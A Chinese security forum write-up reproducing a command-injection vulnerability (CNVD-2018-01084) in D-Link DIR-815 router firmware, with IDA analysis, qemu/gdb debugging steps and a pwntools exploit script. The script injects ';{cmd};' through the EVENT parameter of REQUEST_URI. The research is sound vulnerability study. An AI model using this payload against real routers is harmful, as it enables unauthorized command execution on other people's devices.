本文为看雪论坛精华文章
看雪论坛作者ID:winmt
在CNVD平台上,关于CNVD-2018-01084的详细信息:D-Link DIR 615/645/815 service.cgi远程命令执行漏洞(https://www.cnvd.org.cn/flaw/show/CNVD-2018-01084)
固件包下载地址:D-Link (Downloads)(https://tsd.dlink.com.tw/ddwn)阅读本文前,请先安装qemu / binwalk / sasquatch / gdb-multiarch等工具,并对mips架构下的汇编语法有一定的了解。漏洞复现
根据官方公告,找到存在漏洞的二进制文件。
先用binwalk -Me DIR815A1_FW102b06.bin命令解压固件包,再根据“漏洞描述”中的关键词service.cgi进行查找:找到了所匹配的二进制文件htdocs/cgibin,将其拖进IDA中先进行静态分析。对二进制文件进行静态分析
首先进入main函数,很容易找到关键词service.cgi:然后,当传入的第一个参数是service.cgi,比对成功后,会进入servicecgi_main函数。我们先对servicecgi_main这个函数整体的调用路线进行一个宏观的分析:我们猜测漏洞点存在于这里的system函数处,它是由lxmldbc_system函数调用的:在lxmldbc_system函数中,会先进行一个格式化字符串的拼接,再将拼接好的字符串作为system的参数调用,因此,这里的确可能存在一个可被利用的点:接着,我们对servicecgi_main函数的流程进行一个分析:(1)先获取环境变量REQUEST_METHOD进行判断当请求方式为GET的时候,会跳到标签10,而这个标签10在调用lxmldbc_system函数的下面:所以,为了利用到lxmldbc_system中的漏洞,我们的请求方式只能为POST。(2)分析cgibin_parse_request函数然后,会调用到cgibin_parse_request函数,这个函数会先调取环境变量REQUEST_URI,并对其先以?进行字符串分割:再进到sub_402B40函数中,发现这里会再以=进行一次字符串分割,对=后的内容再以&进行分割:这其实就是对一个URL字符串的解析过程,分割后的字符串,都会被存放进内存中,具体存放在哪里,不太好直接通过静态分析看出。之后,在cgibin_parse_request函数中,对CONTENT_TYPE这个环境变量进行了一个判断:这里先对环境变量CONTENT_TYPE中的内容的前v17位与v18进行一个比对,比对正确后就会调用一个未知的函数,这里的v18其实是off_42C014中的内容,而v17就是其后四个字节的内容:也就是说,我们CONTENT_TYPE的前12位得是application/才能过这个判断。之后调用到的那个未知的函数也不方便直接通过静态分析看出,在之后动态调试的时候可以很清楚地看到,不过,这里需要注意一下传入这个未知函数的第三个参数v7,其实就是CONTENT_LENGTH这个环境变量:这个函数大体就分析到这里了,更具体的,在之后动态分析的时候会写到。在servicecgi_main主函数中可以看到,若cgibin_parse_request函数的返回值是负数的话,会报错。之前复现的时候是直接看汇编的,感觉上面说的未知函数不好看出来(我太菜了),其实我们看反编译后的代码,直接静态分析就很容易得出来:如果CONTENT_TYPE的前12位是application/,那么此时v16=1,所以(&off_42C014)[3 * v16 - 1] = (&off_42C014)[2],也就是下图圈出的数据,即跳转到了0x403B10处。在之后,会需要绕过sess_ispoweruser函数,不然无法通过认证:这个函数会调用到sess_validate函数,其中会再调用到sess_get_uid函数,在里面有对HTTP_COOKIE和REMOTE_ADDR这两个环境变量的获取,这里就不作具体分析了。接着,在sess_validate函数中会继续调用到sub_407660这个函数,其中会打开/var/session/...的文件:这个文件显然我们用qemu模拟的环境中是没有的,因此我们需要将sess_ispoweruser这个函数的相关判断给patch掉(直接将跳转命令改成nop空指令),不然就不便于进行后续利用了(会在这里卡住):这样就直接跳过sess_ispoweruser函数的认证检验了,将patch过的二进制文件替换htdocs目录下原有的文件即可。再然后,会调用sub_40A1C0函数进行一些判断:显然,判断的结果若是满足v6!=0是最好的,因为这里if分支其实大体上都是对v9格式化字符串进行赋值,而v6!=0分支中的内容最简单,下面else分支中的内容会很复杂,当经过这个判断之后,有了v9这个格式化字符串作为参数,就可以直接走到lxmldbc_system函数进行漏洞利用了。不过,这里sub_40A1C0函数中具体判断的内容不太好直接通过静态分析看出:这里的a1就是传进去的EVENT / ACTION / SERVICE这些参数,但是后面的v3[2]应该是用户可控的一个字符串,但是并不知道指向内存的何处。同样地,lxmldbc_system函数中,vsnprintf函数的参数va(也就是拼接到前面format格式化字符串中的内容)不知道指向内存的何处,va_start函数同样不知道指向哪里:这些都不好通过静态分析直接得出,但是可以猜测都是用户可控的,再联想到之前的REQUEST_URI环境变量分割出的字符串被存放在了内存中,我们也并不知道具体的存放位置,因此,可以猜测这里取的内存就是在之前存放的,为了验证这一观点,我们需要进行动态分析来调试。对二进制文件进行动态分析(调试)
这是一个mips架构下32位的小端序程序,得用qemu-mipsel启动,没开任何保护。首先,我们需要知道如何向main函数传递参数argv和设置环境变量:我们可以用-0选项传递第一个参数,用-E选项设置环境变量,用-L选项做到类似于更改根目录的效果,用-strace选项追踪程序执行时进程系统调用和所接收的信号,方便调试。我们按顺序,先来调试一下CONTENT_TYPE环境变量中application/后应该设置成什么,也就需要知道这里进入的未知函数是什么:if ( !strncasecmp(v14, v18, v17) )
return ((int (__fastcall *)(int, int, unsigned int, char *))(&off_42C014)[3 * v16 - 1])(
a1,
a2,
v7,
&v14[v17]);
最后的跳转命令在0x40346C处,因此,我们在这里下一个断点。qemu-mipsel -g 1234 -L . \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="..." \
-E CONTENT_LENGTH=10 \
-E CONTENT_TYPE="application/winmt" \
./htdocs/cgibin
再用gdb-multiarch设置架构并连接上1234端口,最后停在了断点处:可以很清晰地看到,那个我们静态分析不好看出来的未知函数就是0x403b10。在IDA里找到0x403b10的位置,并创建函数,方便反编译:可见,CONTENT_TYPE环境变量的后面应该是x-www-form-urlencoded,匹配成功后,就会进入sub_402FFC函数,在其中会有一个read函数,需要我们读入数据:这里的v7也就是a3,是我们在cgibin_parse_request函数中传入的环境变量CONTENT_LENGTH,根据之前的分析,我们需要这个函数的返回值v4大于零,只要读入合法的数据即可。这一部分就分析到这,接下来再验证之前的猜想:sub_40A1C0函数中所取的内存是否为之前REQUEST_URI环境变量所分割出的字符串?我们已经知道了REQUEST_URI大体的分割模式,因此可以设REQUEST_URI="aaa?bbb=ccc"的形式,启动命令如下:qemu-mipsel -g 1234 -L . \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="aaa?bbb=ccc" \
-E CONTENT_LENGTH=10 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
./htdocs/cgibin
在sub_40A1C0中strcmp的地方对应的汇编处(0x40A200)下一个断点:由此可知,strcmp的第二个参数就是环境变量REQUEST_URI中?与=之间的字符串。用同样的方法,可以得到:lxmldbc_system中拼接入格式化字符串的va参数就是环境变量REQUEST_URI中=之后的字符串。至此,我们完成了对/htdocs/cgibin这个二进制文件中的漏洞分析,显然,我们将;{cmd};拼接进格式化字符串,由于;可连接两个独立语句并执行,这样就能执行我们的cmd命令了。利用脚本(exp)
from pwn import *
context(os = 'linux', arch = 'mips')
string = "winmt"
length = len(string)
print("----- CNVD-2018-01084 -----\n")
cmd = input("command > ")
io = process(f'''
qemu-mipsel -L . -strace \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH={length} \
-E REQUEST_URI="?EVENT=;{cmd};" \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE="uid=winmt" \
-E REMOTE_ADDR="127.0.0.1" \
./htdocs/cgibin
''', shell = True)
io.send(string)
io.interactive()
复现成功
看雪ID:winmt
https://bbs.pediy.com/user-home-949925.htm
*本文由看雪论坛 winmt 原创,转载请注明来自看雪社区
文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458446970&idx=1&sn=fe5fd9a5dd5b284114eec6b391c0ac1a&chksm=b18fdcf086f855e6357dc286aabe7a97b9cb48214018c7f316f59e2a95c2ce982efe6167c773#rd
如有侵权请联系:admin#unsafe.sh